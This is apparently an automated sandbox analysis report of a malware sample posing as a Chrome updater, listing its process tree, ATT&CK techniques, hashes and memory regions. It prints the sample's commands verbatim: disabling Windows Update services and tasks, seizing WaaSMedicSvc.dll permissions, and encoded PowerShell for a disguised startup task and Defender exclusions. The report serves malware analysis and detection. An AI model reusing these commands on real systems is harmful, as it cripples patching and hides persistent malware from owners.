C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:3928

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:3352

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:3784

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1992

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:3344

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:3528

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:4796

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:4976

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:4180

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:3600

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4780

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3724

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4320

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4308

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:2788

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4644

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:428

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:908

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:864

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:4420

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:4636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:216

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:200

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4040

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2108

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdAB2ACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEcANABBAGUAZwBCAGkAQQBIAEEAQQBJAHcAQQArAEEAQwBBAEEAVQB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDADAAQQBVAEEAQgB5AEEARwA4AEEAWQB3AEIAbABBAEgATQBBAGMAdwBBAGcAQQBDADAAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEIAUQBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBKAHcAQgBEAEEARABvAEEAWABBAEIAUQBBAEgASQBBAGIAdwBCAG4AQQBIAEkAQQBZAFEAQgB0AEEAQwBBAEEAUgBnAEIAcABBAEcAdwBBAFoAUQBCAHoAQQBGAHcAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAFgAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAYwBBAEgAVQBBAGMAQQBCAGsAQQBHAEUAQQBkAEEAQgBsAEEASABJAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAaQBBAEMAQQBBAFUAZwBCADEAQQBHADQAQQBRAFEAQgB6AEEAQwBBAEEAUABBAEEAagBBAEcATQBBAGUAUQBCADYAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAHoAZAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAG0AcQBoACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAbABmAG4AIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBqAGIAaQAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAZQAxADIANABiAGYAZQA0ADUANAA1ADEAMgA2ADcAMQBkADYANQBmADgANQA0AGMAMABjAGMAZgAzAGEAZQA5ADIAYgA3ADMAYQBlADAAOAA0ADAANQAwAGQAYgA0ADMAOQBlADcAMAA5AGEAYwA2ADMAMQAyADkAMAAyADUALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBiAGUAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdAB6AHEAeQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"
3⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAG4AegBiAHAAIwA+ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBWAGUAcgBiACAAUgB1AG4AQQBzACAAPAAjAGMAeQB6ACMAPgA="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4156

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2204

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4372

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:4908

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:2716

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1588

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:4068

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:4916

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:4120

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:4252

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:4232

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:3204

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:3972

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:3964

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4568

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4816

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:2708

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:2416

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:2660

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:3292

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:4656

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:1904

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:4524

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:2788

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:508

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:424

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:820

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:2068

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
PID:3084

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:4052

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
PID:3176

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
PID:4920

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "przhttndp"
4⤵
PID:728

C:\Windows\explorer.exe
C:\Windows\explorer.exe vyqrgnmarui1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8Ush6VLBdnMAvFLywM+oNSpyK7wZGKNjvWUFQPU9e9Qm
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2252

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
322cf2f6a67420e4eb53f29263a639ba

SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781

SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
322cf2f6a67420e4eb53f29263a639ba

SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781

SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
ef2e9bbb05ce8e9ed5136f6efdd0faaf

SHA1
788c03f7241a97587a14f7b9cac96a0a1cf7c695

SHA256
06d4e3baa94eb9ed4b11b9707196dea3950c0df27a6e2624c5d221f8045283c0

SHA512
41988c6110e7822dce5754b15fade3c1afedea0f2b82871e5d6b791f4bd398a5374e80eee0d8b0dc39f29e3a48d8ffda9edef4eb3afa5a2f48d37d1e81661519

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
5d574dc518025fad52b7886c1bff0e13

SHA1
68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7

SHA256
755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2

SHA512
21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e2d46bffd1d9300639cac360fac02cb4

SHA1
fd2b4813c8ab610294b6759192ca05bad5bb8958

SHA256
94ffe575e92d3bab6173fd7eca207088c8b374de79d93dddf45101048c0bead3

SHA512
54b1ea5f5bb1d8a402fbb5ab8f0d7bec9aa47cb48a4c411ee8032648a97efe466d9d8e7f87c5ac288e994eeb47e034eac94bb3631955f9ba2270d687e7620535

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
c5227366b7a688ff23b01788718251aa

SHA1
9795262e79c832ba49c744fcd1b1794c0ffb5c6a

SHA256
789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48

SHA512
8b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe

Download Submit
memory/200-259-0x0000000000000000-mapping.dmp

Download
memory/216-258-0x0000000000000000-mapping.dmp

Download
memory/424-477-0x0000000000000000-mapping.dmp

Download
memory/428-253-0x0000000000000000-mapping.dmp

Download
memory/508-476-0x0000000000000000-mapping.dmp

Download
memory/728-470-0x000001D8505C0000-0x000001D8505C7000-memory.dmp

Filesize
28KB

Download
memory/728-458-0x000001D850CE0000-0x000001D850CE6000-memory.dmp

Filesize
24KB

Download
memory/820-478-0x0000000000000000-mapping.dmp

Download
memory/864-255-0x0000000000000000-mapping.dmp

Download
memory/908-254-0x0000000000000000-mapping.dmp

Download
memory/1584-185-0x0000000000000000-mapping.dmp

Download
memory/1588-437-0x0000000000000000-mapping.dmp

Download
memory/1904-466-0x0000000000000000-mapping.dmp

Download
memory/1992-190-0x0000000000000000-mapping.dmp

Download
memory/2068-433-0x0000000000000000-mapping.dmp

Download
memory/2108-196-0x0000000000000000-mapping.dmp

Download
memory/2136-452-0x0000022F97BF0000-0x0000022F97C02000-memory.dmp

Filesize
72KB

Download
memory/2136-447-0x0000022F97A90000-0x0000022F97A96000-memory.dmp

Filesize
24KB

Download
memory/2148-129-0x00007FF940D60000-0x00007FF940F3B000-memory.dmp

Filesize
1.9MB

Download
memory/2148-127-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/2148-128-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/2148-130-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/2148-131-0x00007FF940D60000-0x00007FF940F3B000-memory.dmp

Filesize
1.9MB

Download
memory/2204-267-0x0000000000000000-mapping.dmp

Download
memory/2204-274-0x00007FF940D60000-0x00007FF940F3B000-memory.dmp

Filesize
1.9MB

Download
memory/2204-273-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/2204-272-0x00007FF940D60000-0x00007FF940F3B000-memory.dmp

Filesize
1.9MB

Download
memory/2204-271-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/2252-467-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2252-479-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2252-480-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2252-471-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2252-469-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2252-474-0x00000000005C0000-0x00000000005E0000-memory.dmp

Filesize
128KB

Download
memory/2252-468-0x000000014036EAC4-mapping.dmp

Download
memory/2368-141-0x000001F4F9F10000-0x000001F4FA32E000-memory.dmp

Filesize
4.1MB

Download
memory/2368-136-0x000001F4FCF70000-0x000001F4FD38E000-memory.dmp

Filesize
4.1MB

Download
memory/2416-462-0x0000000000000000-mapping.dmp

Download
memory/2660-463-0x0000000000000000-mapping.dmp

Download
memory/2708-461-0x0000000000000000-mapping.dmp

Download
memory/2716-435-0x0000000000000000-mapping.dmp

Download
memory/2788-475-0x0000000000000000-mapping.dmp

Download
memory/2788-251-0x0000000000000000-mapping.dmp

Download
memory/3084-436-0x0000000000000000-mapping.dmp

Download
memory/3176-440-0x0000000000000000-mapping.dmp

Download
memory/3204-446-0x0000000000000000-mapping.dmp

Download
memory/3292-464-0x0000000000000000-mapping.dmp

Download
memory/3344-191-0x0000000000000000-mapping.dmp

Download
memory/3352-188-0x0000000000000000-mapping.dmp

Download
memory/3528-192-0x0000000000000000-mapping.dmp

Download
memory/3580-144-0x0000000000000000-mapping.dmp

Download
memory/3580-149-0x0000022978800000-0x0000022978822000-memory.dmp

Filesize
136KB

Download
memory/3580-152-0x0000022978B10000-0x0000022978B86000-memory.dmp

Filesize
472KB

Download
memory/3600-198-0x0000000000000000-mapping.dmp

Download
memory/3720-199-0x0000000000000000-mapping.dmp

Download
memory/3724-201-0x0000000000000000-mapping.dmp

Download
memory/3784-189-0x0000000000000000-mapping.dmp

Download
memory/3928-186-0x0000000000000000-mapping.dmp

Download
memory/3964-449-0x0000000000000000-mapping.dmp

Download
memory/3972-448-0x0000000000000000-mapping.dmp

Download
memory/4040-187-0x0000000000000000-mapping.dmp

Download
memory/4052-438-0x0000000000000000-mapping.dmp

Download
memory/4068-439-0x0000000000000000-mapping.dmp

Download
memory/4120-443-0x0000000000000000-mapping.dmp

Download
memory/4180-197-0x0000000000000000-mapping.dmp

Download
memory/4232-445-0x0000000000000000-mapping.dmp

Download
memory/4252-444-0x0000000000000000-mapping.dmp

Download
memory/4308-250-0x0000000000000000-mapping.dmp

Download
memory/4320-249-0x0000000000000000-mapping.dmp

Download
memory/4372-308-0x00000278A55E0000-0x00000278A5699000-memory.dmp

Filesize
740KB

Download
memory/4372-302-0x00000278A5270000-0x00000278A528C000-memory.dmp

Filesize
112KB

Download
memory/4372-285-0x0000000000000000-mapping.dmp

Download
memory/4372-341-0x00000278A5290000-0x00000278A529A000-memory.dmp

Filesize
40KB

Download
memory/4420-256-0x0000000000000000-mapping.dmp

Download
memory/4524-473-0x0000000000000000-mapping.dmp

Download
memory/4568-450-0x0000000000000000-mapping.dmp

Download
memory/4636-257-0x0000000000000000-mapping.dmp

Download
memory/4644-252-0x0000000000000000-mapping.dmp

Download
memory/4656-465-0x0000000000000000-mapping.dmp

Download
memory/4780-200-0x0000000000000000-mapping.dmp

Download
memory/4796-193-0x0000000000000000-mapping.dmp

Download
memory/4816-451-0x0000000000000000-mapping.dmp

Download
memory/4844-194-0x0000000000000000-mapping.dmp

Download
memory/4884-202-0x0000000000000000-mapping.dmp

Download
memory/4908-432-0x0000000000000000-mapping.dmp

Download
memory/4916-441-0x0000000000000000-mapping.dmp

Download
memory/4920-442-0x0000000000000000-mapping.dmp

Download
memory/4976-195-0x0000000000000000-mapping.dmp

Download
memory/5068-184-0x0000000000000000-mapping.dmp

Download